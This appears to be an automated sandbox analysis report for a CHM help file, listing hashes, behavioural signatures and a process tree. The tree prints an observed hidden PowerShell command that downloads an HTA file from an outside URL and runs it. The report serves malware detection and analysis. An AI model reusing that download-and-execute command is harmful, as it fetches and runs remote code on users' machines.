Analysis
-
max time kernel
30s -
max time network
33s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
-
submitted
21/03/2023, 10:42
General
-
Target
RG.chm
-
Size
190KB
-
MD5
9d9a0a119044c6a83d533a1941bb64c5
-
SHA1
279387ccf49c5f71c99f8b89b333be4a70f6cab6
-
SHA256
83a1b442bf9761f33881468eb8be300e18c5c12691eb52681efee2c4c5842a06
-
SHA512
31c4edbcff416df4cada81dbd1e3bdc752cb8a74c837787feba01d9e93e00970b15efac6bf70548b8ba1811cf7e7522bbd64cfe0572d5619759b8069b5b399b2
-
SSDEEP
3072:Xg4C8YLEo5xuIvDocDWjc/pgDXQgKpacezvRBDobwrArHMp1G6/AirUIKX6MA:XpYIW0UY8pTxp/mjmqArYRQIKX5A
Score
1/10
Malware Config
Signatures
-
Modifies Internet Explorer settings 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\hh.exe"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\RG.chm1⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden wget 'https://meubooking.com.br/2023/reservations.php?file=edce4301c8d01cf9b904be.html' -OutFile 'C:\Users\Public\win32.hta'; Start-Process 'C:\Users\Public\win32.hta'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2.9MB
-
Filesize
32KB
-
Filesize
512KB
-
Filesize
512KB
-
Filesize
512KB
-
Filesize
220KB
-
Filesize
64KB